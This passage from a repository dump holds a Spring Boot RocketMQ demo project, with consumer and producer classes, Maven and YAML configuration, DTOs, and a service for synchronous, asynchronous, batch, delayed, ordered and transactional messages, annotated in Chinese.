//模拟出错，触发重试\n//            int i = 1 / 0;\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * consumer配置都是通过这个\n     *\n     * @param consumer consumer配置\n     */\n    @Override\n    public void prepareStart(DefaultMQPushConsumer consumer) {\n        //设最大重试次数，默认16次\n        //距离上一次重试间隔\n        //第1次：10s    第2次：30s     第3次：1min    第4次：2min     第5次：3min     第6次：4min     第7次：5min    第8次：6min\n        //第9次：7min   第10次：8min   第11次：9min   第12次：10min   第13次：20min   第14次：30min   第15次：1h     第16次：2h   16次以后：都是2h\n        //某条消息在一直消费失败的前提下，将会在接下来的 4 小时 46 分钟之内进行 16 次重试，超过这个时间范围消息将不再重试投递。\n        consumer.setMaxReconsumeTimes(3);\n\n        //关于消费位点,默认CONSUME_FROM_LAST_OFFSET(从上一个偏移量消费)\n        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_LAST_OFFSET);\n\n        //关于消费位点,从第一个偏移量消费（即全量消费,正常消息相同存储均为 3 天，3 天后会被自动删除）\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);\n\n        //关于消费位点,以秒精度回溯消费时间，按指定回溯时间开始消费,默认回溯半小时前的消费时间。\n        //时间格式为20131223171201<br>暗示2013年12月23日17点12分01秒<br>\n        //consumer.setConsumeTimestamp(UtilAll.timeMillisToHumanString3(System.currentTimeMillis()));\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_TIMESTAMP);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/java/com/example/service/ConsumerTransaction.java",
    "content": "package com.example.service;\n\nimport com.example.dto.OrderPaidEvent;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.client.consumer.DefaultMQPushConsumer;\nimport org.apache.rocketmq.common.consumer.ConsumeFromWhere;\nimport org.apache.rocketmq.spring.annotation.RocketMQMessageListener;\nimport org.apache.rocketmq.spring.core.RocketMQListener;\nimport org.apache.rocketmq.spring.core.RocketMQPushConsumerLifecycleListener;\nimport org.springframework.stereotype.Component;\n\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 事务消息演示\n * <p>\n * 事务消息使用上的限制\n * 1:事务消息不支持延时消息和批量消息。\n * 2:为了避免单个消息被检查太多次而导致半队列消息累积，我们默认将单个消息的检查次数限制为 15 次，但是用户可以通过 Broker 配置文件的 transactionCheckMax参数来修改此限制。如果已经检查某条消息超过 N 次的话（ N = transactionCheckMax ） 则 Broker 将丢弃此消息，并在默认情况下同时打印错误日志。用户可以通过重写 AbstractTransactionalMessageCheckListener 类来修改这个行为。\n * 3:事务消息将在 Broker 配置文件中的参数 transactionTimeout 这样的特定时间长度之后被检查。当发送事务消息时，用户还可以通过设置用户属性 CHECK_IMMUNITY_TIME_IN_SECONDS 来改变这个限制，该参数优先于 transactionTimeout 参数。\n * 4:事务性消息可能不止一次被检查或消费。\n * 5:提交给用户的目标主题消息可能会失败，目前这依日志的记录而定。它的高可用性通过 RocketMQ 本身的高可用性机制来保证，如果希望确保事务消息不丢失、并且事务完整性得到保证，建议使用同步的双重写入机制。\n * 6:事务消息的生产者 ID 不能与其他类型消息的生产者 ID 共享。与其他类型的消息不同，事务消息允许反向查询、MQ服务器能通过它们的生产者 ID 查询到消费者。\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@Component\n@RocketMQMessageListener(topic = \"Consumer_Transaction\",//主题\n        consumerGroup = \"Consumer_Transaction_group\"//消费组  唯一\n)\npublic class ConsumerTransaction implements RocketMQListener<OrderPaidEvent>, RocketMQPushConsumerLifecycleListener {\n\n    /**\n     * 消费者\n     * 程序报错则进行重试\n     *\n     * @param orderPaidEvent 接收的消息,订单支付事件\n     */\n    @Override\n    public void onMessage(OrderPaidEvent orderPaidEvent) {\n        try {\n            //模拟业务逻辑处理中...\n            log.info(\"ConsumerTransaction 事务消息消费 message: {}  \", orderPaidEvent);\n            TimeUnit.SECONDS.sleep(10);\n            //模拟出错，触发重试\n//            int i = 1 / 0;\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e.getMessage());\n        }\n    }\n\n    /**\n     * consumer配置都是通过这个\n     *\n     * @param consumer consumer配置\n     */\n    @Override\n    public void prepareStart(DefaultMQPushConsumer consumer) {\n        //设最大重试次数，默认16次\n        //距离上一次重试间隔\n        //第1次：10s    第2次：30s     第3次：1min    第4次：2min     第5次：3min     第6次：4min     第7次：5min    第8次：6min\n        //第9次：7min   第10次：8min   第11次：9min   第12次：10min   第13次：20min   第14次：30min   第15次：1h     第16次：2h   16次以后：都是2h\n        //某条消息在一直消费失败的前提下，将会在接下来的 4 小时 46 分钟之内进行 16 次重试，超过这个时间范围消息将不再重试投递。\n        consumer.setMaxReconsumeTimes(3);\n\n        //关于消费位点,默认CONSUME_FROM_LAST_OFFSET(从上一个偏移量消费)\n        consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_LAST_OFFSET);\n\n        //关于消费位点,从第一个偏移量消费（即全量消费,正常消息相同存储均为 3 天，3 天后会被自动删除）\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_FIRST_OFFSET);\n\n        //关于消费位点,以秒精度回溯消费时间，按指定回溯时间开始消费,默认回溯半小时前的消费时间。\n        //时间格式为20131223171201<br>暗示2013年12月23日17点12分01秒<br>\n        //consumer.setConsumeTimestamp(UtilAll.timeMillisToHumanString3(System.currentTimeMillis()));\n        //consumer.setConsumeFromWhere(ConsumeFromWhere.CONSUME_FROM_TIMESTAMP);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-consumer/src/main/resources/application.yml",
    "content": "server:\n  port: 8096\nspring:\n  application:\n    name: rocketmq-producer\n\nrocketmq:\n  name-server: 127.0.0.1:9876          # rocketMQ的名称服务器，格式为:' host:port;host:port '。\n  # 生产端配置\n  producer:\n    group: ${spring.application.name}  # 生产着组名\n    #access-key: access-key            # rocketMQ服务端配置acl授权信息，没有则不需要\n    #secret-key: secret-key            # rocketMQ服务端配置acl授权信息，没有则不需要\n  # 消费端配置\n#  consumer:\n#    access-key: access-key            #如果开启了acl，一定要配置。否则集群模式下会正常，广播模式消费端会失效！\n#    secret-key: secret-key            #如果开启了acl，一定要配置。否则集群模式下会正常，广播模式消费端会失效！\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.3.2.RELEASE</version>\n        <relativePath/>\n    </parent>\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>rocketmq-producer</artifactId>\n\n    <properties>\n        <maven.compiler.source>11</maven.compiler.source>\n        <maven.compiler.target>11</maven.compiler.target>\n        <spring-boot-version>2.3.2.RELEASE</spring-boot-version>\n    </properties>\n\n    <dependencies>\n        <!-- 配置web启动器 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <!-- 测试 -->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n        </dependency>\n\n        <!-- rocketMQ -->\n        <dependency>\n            <groupId>org.apache.rocketmq</groupId>\n            <artifactId>rocketmq-spring-boot-starter</artifactId>\n            <version>2.1.1</version>\n        </dependency>\n\n        <!-- lombok插件 -->\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <version>${spring-boot-version}</version>\n            </plugin>\n        </plugins>\n    </build>\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/main/java/com/example/RocketMQProducerApplication.java",
    "content": "package com.example;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @author MrWen\n * @since 2022-01-06 17:10\n */\n@SpringBootApplication\npublic class RocketMQProducerApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(RocketMQProducerApplication.class);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/main/java/com/example/dto/BatchDto.java",
    "content": "package com.example.dto;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\n\n/**\n * <p>\n * 批量消息实体\n * </p>\n *\n * @author MrWen\n **/\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\npublic class BatchDto implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    private Integer id;\n\n    private String message;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/main/java/com/example/dto/OrderPaidEvent.java",
    "content": "package com.example.dto;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\nimport java.io.Serializable;\nimport java.math.BigDecimal;\n\n/**\n * <p>\n * 订单支付事件\n * </p>\n *\n * @author MrWen\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\npublic class OrderPaidEvent implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n\n    private String orderId;\n\n    private BigDecimal paidMoney;\n\n    private String msg;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/main/java/com/example/dto/OrderStep.java",
    "content": "package com.example.dto;\n\nimport lombok.AllArgsConstructor;\nimport lombok.Builder;\nimport lombok.Data;\nimport lombok.NoArgsConstructor;\n\n/**\n * <p>\n * 顺序的步骤\n * </p>\n *\n * @author MrWen\n */\n@Data\n@Builder\n@NoArgsConstructor\n@AllArgsConstructor\npublic class OrderStep {\n    private long orderId;\n    private String desc;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/main/java/com/example/service/IRocketMQService.java",
    "content": "package com.example.service;\n\nimport org.apache.rocketmq.client.producer.SendCallback;\nimport org.apache.rocketmq.client.producer.SendResult;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * <p>\n * RocektMQ生产者常用发送消息方法\n * 最佳实践:https://github.com/apache/rocketmq/blob/master/docs/cn/best_practice.md\n * </p>\n *\n * @author MrWen\n * @since 2022-01-06 17:10\n **/\npublic interface IRocketMQService {\n\n    /**\n     * 发送同步消息（这种可靠性同步地发送方式使用的比较广泛，比如：重要的消息通知，短信通知。）\n     * <p>\n     * （send消息方法只要不抛异常，就代表发送成功。但不保证100%可靠投递(所有消息都一样，后面不在叙述)。\n     * 要确保不会丢失任何消息，还应启用同步Master服务器或同步刷盘，即SYNC_MASTER或SYNC_FLUSH。\n     * 解析看：https://github.com/apache/rocketmq/blob/master/docs/cn/best_practice.md\n     * ）\n     *\n     * @param destination 主题名:标签 topicName:tags\n     * @param msg         发送对象\n     * @return 发送结果，只有为SEND_OK且同步Master服务器或同步刷盘才保证100%投递成功\n     */\n    SendResult sendMessage(String destination, Object msg);\n\n    /**\n     * 发送同步消息（这种可靠性同步地发送方式使用的比较广泛，比如：重要的消息通知，短信通知。）\n     *\n     * @param topicName 主题名 topicName\n     * @param tags      标签 tags\n     * @param msg       发送对象\n     * @return 发送结果，只有为SEND_OK且同步Master服务器或同步刷盘才保证100%投递成功\n     */\n    SendResult sendMessage(String topicName, String tags, Object msg);\n\n    /**\n     * 发送同步消息（这种可靠性同步地发送方式使用的比较广泛，比如：重要的消息通知，短信通知。）\n     *\n     * @param topicName 主题名 topicName\n     * @param tags      标签 tags\n     * @param key       唯一标识码要设置到keys字段，方便将来定位消息丢失问题\n     * @param msg       发送对象\n     * @return 发送结果，只有为SEND_OK且同步Master服务器或同步刷盘才保证100%投递成功\n     */\n    SendResult sendMessage(String topicName, String tags, String key, Object msg);\n\n    /**\n     * 发送同步消息-SQL92模式\n     * 需要配置RocketMQ服务器  vim conf/broker.conf  ##支持sql语句过滤  enablePropertyFilter=true\n     * 在console控制台查看集群状态  enablePropertyFilter=true 才正常\n     *\n     * @param topicName 主题名 topicName\n     * @param map       自定义属性\n     * @param msg       发送对象\n     * @return 发送结果，只有为SEND_OK且同步Master服务器或同步刷盘才保证100%投递成功\n     */\n    SendResult sendMessageBySql(String topicName, Map<String, Object> map, Object msg);\n\n\n    /**\n     * 发送同步消息-SQL92模式\n     * 需要配置RocketMQ服务器  vim conf/broker.conf  ##支持sql语句过滤  enablePropertyFilter=true\n     * 在console控制台查看集群状态  enablePropertyFilter=true 才正常\n     *\n     * @param topicName 主题名 topicName\n     * @param map       自定义属性\n     * @param key       唯一标识码要设置到keys字段，方便将来定位消息丢失问题\n     * @param msg       发送对象\n     * @return 发送结果，只有为SEND_OK且同步Master服务器或同步刷盘才保证100%投递成功\n     */\n    SendResult sendMessageBySql(String topicName, Map<String, Object> map, String key, Object msg);\n\n\n    /**\n     * 发生异步消息（异步消息通常用在对响应时间敏感的业务场景，即发送端不能容忍长时间地等待Broker的响应。）\n     *\n     * @param destination  主题名:标签 topicName:tags\n     * @param msg          发送对象\n     * @param sendCallback 异步回调函数\n     */\n    void sendAsyncMessage(String destination, Object msg, SendCallback sendCallback);\n\n    /**\n     * 发送单向消息（这种方式主要用在不特别关心发送结果的场景，例如日志发送。）\n     *\n     * @param destination 主题名:标签 topicName:tags\n     * @param msg         发送对象\n     */\n    void sendOneway(String destination, Object msg);\n\n    /**\n     * 发送批量消息(发送超过1MB,做了自动分割,超时时间设置30s（默认3s）)，注：默认最大是4MB，为了避免ListSplitter.calcMessageSize计算不精确及大批量数据发送超时才设置1MB\n     *\n     * @param destination 主题名:标签 topicName:tags\n     * @param list        批量消息\n     */\n    void sendBatchMessage(String destination, List<?> list);\n\n\n    /**\n     * 发送批量消息(发送超过1MB,做了自动分割。)，注：默认最大是4MB，为了避免ListSplitter.calcMessageSize计算不精确及大批量数据发送超时才设置1MB\n     *\n     * @param topicName 主题名 topicName\n     * @param tags      标签 tags\n     * @param timeout   超时时间,空则默认设为30s\n     * @param list      批量消息\n     */\n    void sendBatchMessage(String topicName, String tags, Long timeout, List<?> list);\n\n    /**\n     * 发送延时消息（超时时间，设置30s（默认3s））\n     * 1s 5s 10s 30s 1m 2m 3m 4m 5m 6m 7m 8m 9m 10m 20m 30m 1h 2h\n     * 1  2  3   4   5  6  7  8  9  10 11 12 13 14  15  16  17 18\n     *\n     * @param destination    主题名:标签 topicName:tags\n     * @param msg            发送对象\n     * @param delayTimeLevel 延时等级(从1开始)\n     * @return 发送结果，只有为SEND_OK且同步Master服务器或同步刷盘才保证100%投递成功\n     */\n    SendResult sendDelayLevel(String destination, Object msg, int delayTimeLevel);\n\n    /**\n     * 发送延时消息\n     * 1s 5s 10s 30s 1m 2m 3m 4m 5m 6m 7m 8m 9m 10m 20m 30m 1h 2h\n     * 1  2  3   4   5  6  7  8  9  10 11 12 13 14  15  16  17 18\n     *\n     * @param destination    主题名:标签 topicName:tags\n     * @param msg            发送对象\n     * @param timeout        超时时间（单位毫秒）\n     * @param delayTimeLevel 延时等级(从1开始)\n     * @return 发送结果，只有为SEND_OK且同步Master服务器或同步刷盘才保证100%投递成功\n     */\n    SendResult sendDelayLevel(String destination, Object msg, int timeout, int delayTimeLevel);\n\n\n    /**\n     * 发送顺序消息(分区有序,多个queue参与，即相对每个queue，消息都是有序的。)\n     *\n     * @param destination 主题名:标签 topicName:tags\n     * @param msg         发送对象\n     * @param hashKey     根据其哈希值取模后确定发送到哪一个queue队列\n     * @return 发送结果，只有为SEND_OK且同步Master服务器或同步刷盘才保证100%投递成功\n     */\n    SendResult sendInOrder(String destination, Object msg, String hashKey);\n\n\n    /**\n     * 发送事务消息\n     * 事务消息使用上的限制\n     * 1:事务消息不支持延时消息和批量消息。\n     * 2:为了避免单个消息被检查太多次而导致半队列消息累积，我们默认将单个消息的检查次数限制为 15 次，但是用户可以通过 Broker 配置文件的 transactionCheckMax参数来修改此限制。如果已经检查某条消息超过 N 次的话（ N = transactionCheckMax ） 则 Broker 将丢弃此消息，并在默认情况下同时打印错误日志。用户可以通过重写 AbstractTransactionalMessageCheckListener 类来修改这个行为。\n     * 3:事务消息将在 Broker 配置文件中的参数 transactionTimeout 这样的特定时间长度之后被检查。当发送事务消息时，用户还可以通过设置用户属性 CHECK_IMMUNITY_TIME_IN_SECONDS 来改变这个限制，该参数优先于 transactionTimeout 参数。\n     * 4:事务性消息可能不止一次被检查或消费。\n     * 5:提交给用户的目标主题消息可能会失败，目前这依日志的记录而定。它的高可用性通过 RocketMQ 本身的高可用性机制来保证，如果希望确保事务消息不丢失、并且事务完整性得到保证，建议使用同步的双重写入机制。\n     * 6:事务消息的生产者 ID 不能与其他类型消息的生产者 ID 共享。与其他类型的消息不同，事务消息允许反向查询、MQ服务器能通过它们的生产者 ID 查询到消费者。\n     *\n     * @param destination 主题名:标签 topicName:tags\n     * @param msg         发送对象\n     * @param arg         arg\n     * @return 发送结果，只有为SEND_OK且同步Master服务器或同步刷盘才保证100%投递成功\n     */\n    SendResult sendMessageInTransaction(String destination, Object msg, Object arg);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/main/java/com/example/service/impl/RocketMQServiceImpl.java",
    "content": "package com.example.service.impl;\n\nimport com.alibaba.fastjson.JSON;\nimport com.example.service.IRocketMQService;\nimport com.example.service.util.ListSplitter;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.rocketmq.client.producer.*;\nimport org.apache.rocketmq.common.message.MessageConst;\nimport org.apache.rocketmq.spring.core.RocketMQTemplate;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.messaging.Message;\nimport org.springframework.messaging.support.MessageBuilder;\nimport org.springframework.stereotype.Service;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * <p>\n * RocektMQ生产者常用发送消息方法\n * 最佳实践:https://github.com/apache/rocketmq/blob/master/docs/cn/best_practice.md\n * </p>\n *\n * @author MrWen\n * @since 2022-01-06 17:10\n */\n@Slf4j\n@Service\npublic class RocketMQServiceImpl implements IRocketMQService {\n\n    @Autowired\n    private RocketMQTemplate rocketMqTemplate;\n\n    /**\n     * 原生的producer\n     */\n    @Autowired\n    private DefaultMQProducer producer;\n\n    @Override\n    public SendResult sendMessage(String destination, Object msg) {\n        String[] split = destination.split(\":\");\n        if (split.length == 2) {\n            return this.sendMessage(split[0], split[1], msg);\n        }\n        return this.sendMessage(destination, null, msg);\n    }\n\n    @Override\n    public SendResult sendMessage(String topicName, String tags, Object msg) {\n        return this.sendMessage(topicName, tags, null, msg);\n    }\n\n    @Override\n    public SendResult sendMessage(String topicName, String tags, String key, Object msg) {\n        MessageBuilder<?> messageBuilder = MessageBuilder.withPayload(msg);\n        //设置key,唯一标识码要设置到keys字段，方便将来定位消息丢失问题\n        if (StringUtils.isNotBlank(key)) {\n            messageBuilder.setHeader(MessageConst.PROPERTY_KEYS, key);\n        }\n        Message<?> message = messageBuilder.build();\n        SendResult sendResult = this.rocketMqTemplate.syncSend(StringUtils.isBlank(tags) ? topicName : (topicName + \":\" + tags), message);\n        if (SendStatus.SEND_OK.equals(sendResult.getSendStatus())) {\n            log.info(\"MQ发送同步消息成功,topicName={},tags={},msg={},sendResult={}\", topicName, tags, msg, sendResult);\n        } else {\n            log.warn(\"MQ发送同步消息不一定成功,topicName={},tags={},msg={},sendResult={}\", topicName, tags, msg, sendResult);\n        }\n        return sendResult;\n    }\n\n    @Override\n    public SendResult sendMessageBySql(String topicName, Map<String, Object> map, Object msg) {\n        return this.sendMessageBySql(topicName, map, null, msg);\n    }\n\n    @Override\n    public SendResult sendMessageBySql(String topicName, Map<String, Object> map, String key, Object msg) {\n        MessageBuilder<?> messageBuilder = MessageBuilder.withPayload(msg);\n        //设置key,唯一标识码要设置到keys字段，方便将来定位消息丢失问题\n        if (StringUtils.isNotBlank(key)) {\n            messageBuilder.setHeader(MessageConst.PROPERTY_KEYS, key);\n        }\n        //设置自定义属性\n        if (map != null && !map.isEmpty()) {\n            for (Map.Entry<String, Object> entry : map.entrySet()) {\n                messageBuilder.setHeader(entry.getKey(), entry.getValue());\n            }\n        }\n        Message<?> message = messageBuilder.build();\n        SendResult sendResult = this.rocketMqTemplate.syncSend(topicName, message);\n        if (SendStatus.SEND_OK.equals(sendResult.getSendStatus())) {\n            log.info(\"发送同步消息-SQL92模式成功,topicName={},map={},msg={},sendResult={}\", topicName, map, msg, sendResult);\n        } else {\n            log.warn(\"发送同步消息-SQL92模式不一定成功,topicName={},map={},msg={},sendResult={}\", topicName, map, msg, sendResult);\n        }\n        return sendResult;\n    }\n\n    @Override\n    public void sendAsyncMessage(String destination, Object msg, SendCallback sendCallback) {\n        this.rocketMqTemplate.asyncSend(destination, msg, sendCallback);\n        log.info(\"MQ发送异步消息,destination={} msg={}\", destination, msg);\n    }\n\n    @Override\n    public void sendOneway(String destination, Object msg) {\n        this.rocketMqTemplate.sendOneWay(destination, msg);\n        log.info(\"MQ发送单向消息,destination={} msg={}\", destination, msg);\n    }\n\n    @Override\n    public void sendBatchMessage(String destination, List<?> list) {\n        String topicName = destination;\n        String tags = \"\";\n\n        String[] split = destination.split(\":\");\n        if (split.length == 2) {\n            topicName = split[0];\n            tags = split[1];\n        }\n        this.sendBatchMessage(topicName, tags, 30000L, list);\n    }\n\n    @Override\n    public void sendBatchMessage(String topicName, String tags, Long timeout, List<?> list) {\n        //转为message\n        List<org.apache.rocketmq.common.message.Message> messages = list.stream().map(x ->\n                new org.apache.rocketmq.common.message.Message(topicName, tags,\n                        //String类型不需要转JSON，其它类型都要转为JSON模式\n                        x instanceof String ? ((String) x).getBytes(StandardCharsets.UTF_8) : JSON.toJSONBytes(x))\n        ).collect(Collectors.toList());\n\n        //自动分割发送，把大的消息分裂成若干个小的消息(每次发送最大只能4MB)\n        ListSplitter splitter = new ListSplitter(messages);\n\n        while (splitter.hasNext()) {\n            try {\n                List<org.apache.rocketmq.common.message.Message> listItem = splitter.next();\n                SendResult sendResult = producer.send(listItem, timeout == null ? 30000L : timeout);\n                if (SendStatus.SEND_OK.equals(sendResult.getSendStatus())) {\n                    log.info(\"MQ发送批量消息成功,topicName={}  tags={}， size={},sendResult={}\", topicName, tags, listItem.size(), sendResult);\n                } else {\n                    log.warn(\"MQ发送批量消息不一定成功,topicName={}  tags={}， size={},sendResult={}\", topicName, tags, listItem.size(), sendResult);\n                }\n            } catch (Exception e) {\n                //处理error\n                log.error(\"MQ发送批量消息失败,topicName={}  tags={}，,errorMessage={}\", topicName, tags, e.getMessage(), e);\n                throw new RuntimeException(\"MQ发送批量消息失败,原因：\" + e.getMessage());\n            }\n        }\n    }\n\n    @Override\n    public SendResult sendDelayLevel(String destination, Object msg, int delayTimeLevel) {\n        return this.sendDelayLevel(destination, msg, 30000, delayTimeLevel);\n    }\n\n    @Override\n    public SendResult sendDelayLevel(String destination, Object msg, int timeout, int delayTimeLevel) {\n        Message<?> message = MessageBuilder\n                .withPayload(msg)\n                .build();\n        SendResult sendResult = this.rocketMqTemplate.syncSend(destination, message, timeout, delayTimeLevel);\n        if (SendStatus.SEND_OK.equals(sendResult.getSendStatus())) {\n            log.info(\"MQ发送延时消息成功,destination={} msg={} sendResult={}\", destination, message, sendResult);\n        } else {\n            log.warn(\"MQ发送延时消息不一定成功,destination={} msg={} sendResult={}\", destination, message, sendResult);\n        }\n        return sendResult;\n    }\n\n    @Override\n    public SendResult sendInOrder(String destination, Object msg, String hashKey) {\n        Message<?> message = MessageBuilder\n                .withPayload(msg)\n                .build();\n        //hashKey:  根据其哈希值取模后确定发送到哪一个队列\n        SendResult sendResult = this.rocketMqTemplate.syncSendOrderly(destination, message, hashKey);\n        if (SendStatus.SEND_OK.equals(sendResult.getSendStatus())) {\n            log.info(\"MQ发送顺序消息成功,destination={} msg={} sendResult={}\", destination, message, sendResult);\n        } else {\n            log.warn(\"MQ发送顺序消息不一定成功,destination={} msg={} sendResult={}\", destination, message, sendResult);\n        }\n        return sendResult;\n    }\n\n    @Override\n    public SendResult sendMessageInTransaction(String destination, Object msg, Object arg) {\n        Message<?> message = MessageBuilder\n                //转为JSON格式\n                .withPayload(msg instanceof String ? msg : JSON.toJSONString(msg))\n                .build();\n\n        TransactionSendResult sendResult = rocketMqTemplate.sendMessageInTransaction(destination, message, arg);\n\n        if (SendStatus.SEND_OK.equals(sendResult.getSendStatus())) {\n            log.info(\"MQ发送事务消息成功,destination={} msg={} sendResult={}\", destination, message, sendResult);\n        } else {\n            log.warn(\"MQ发送事务消息不一定成功,destination={} msg={} sendResult={}\", destination, message, sendResult);\n        }\n        return sendResult;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/main/java/com/example/service/util/ListSplitter.java",
    "content": "package com.example.service.util;\n\n\nimport org.apache.rocketmq.common.message.Message;\n\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * <p>\n * 消息列表分割,复杂度只有当你发送大批量时才会增长，你可能不确定它是否超过了大小限制（4MB）。这时候你最好把你的消息列表分割一下：\n * </p>\n *\n * @author MrWen\n **/\npublic class ListSplitter implements Iterator<List<Message>> {\n    /**\n     * 最大4MB，这里每次只发送1MB。（为了避免ListSplitter.calcMessageSize计算不精确及大批量数据发送超时才设置1MB）\n     */\n    private final int SIZE_LIMIT = 1024 * 1024 * 1;\n    private final List<Message> messages;\n    private int currIndex;\n\n    public ListSplitter(List<Message> messages) {\n        this.messages = messages;\n    }\n\n    @Override\n    public boolean hasNext() {\n        return currIndex < messages.size();\n    }\n\n    @Override\n    public List<Message> next() {\n        int startIndex = getStartIndex();\n        int nextIndex = startIndex;\n        int totalSize = 0;\n        for (; nextIndex < messages.size(); nextIndex++) {\n            Message message = messages.get(nextIndex);\n            int tmpSize = calcMessageSize(message);\n            if (tmpSize + totalSize > SIZE_LIMIT) {\n                break;\n            } else {\n                totalSize += tmpSize;\n            }\n        }\n        List<Message> subList = messages.subList(startIndex, nextIndex);\n        currIndex = nextIndex;\n        return subList;\n    }\n\n    private int getStartIndex() {\n        Message currMessage = messages.get(currIndex);\n        int tmpSize = calcMessageSize(currMessage);\n        while (tmpSize > SIZE_LIMIT) {\n            currIndex += 1;\n            Message message = messages.get(currIndex);\n            tmpSize = calcMessageSize(message);\n        }\n        return currIndex;\n    }\n\n    /**\n     * 计算消息字节长度\n     */\n    private int calcMessageSize(Message message) {\n        int tmpSize = message.getTopic().length() + message.getBody().length;\n        Map<String, String> properties = message.getProperties();\n        for (Map.Entry<String, String> entry : properties.entrySet()) {\n            tmpSize += entry.getKey().length() + entry.getValue().length();\n        }\n        tmpSize = tmpSize + 20; // 增加⽇日志的开销20字节\n        return tmpSize;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mq_rocketmq/spring-boot-rocketmq/rocketmq-producer/src/main/java/com/example/transaction/TransactionListenerImpl.java",
    "content": "package com.example.transaction;\n\nimport com.alibaba.fastjson.JSON;\nimport com.example.dto.OrderPaidEvent;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.rocketmq.spring.annotation.RocketMQTransactionListener;\nimport org.apache.rocketmq.spring.core.RocketMQLocalTransactionListener;\nimport org.apache.rocketmq.spring.core.RocketMQLocalTransactionState;\nimport org.springframework.messaging.Message;\n\nimport java.math.BigDecimal;\nimport java.nio.charset.StandardCharsets;\n\n/**\n * <p>\n * RocektMQ 事务消息监听器\n * </p>\n *\n * @author MrWen\n **/\n@Slf4j\n@RocketMQTransactionListener\npublic class TransactionListenerImpl implements RocketMQLocalTransactionListener {\n\n\n    /**\n     * 检测半消息，在该方法中，执行本地事务\n     *\n     * @param msg 发送消息\n     * @param arg 外部参数\n     * @return commit：提交事务，它允许消费者消费此消息。bollback：回滚事务，它代表该消息将被删除，不允许被消费。 unknown：中间状态，它代表需要检查消息队列来确定状态（checkLocalTransaction方法）。\n     */\n    @Override\n    public RocketMQLocalTransactionState executeLocalTransaction(Message msg, Object arg) {\n        log.info(\">>>> MQ事务执行器，执行本地事务 message={},args={} <<<<\", msg, arg);\n\n        try {\n            String jsonString = new String((byte[]) msg.getPayload(), StandardCharsets.UTF_8);\n            OrderPaidEvent payload = JSON.parseObject(jsonString, OrderPaidEvent.class);\n\n            //模拟业务操作，当paidMoney >5 则提交，否则等事务会查\n            if (payload.getPaidMoney().compareTo(new BigDecimal(\"5\")) > 0) {\n                //提交事务\n                log.info(\"MQ提交事务啦！payload ={} \", payload);\n                return 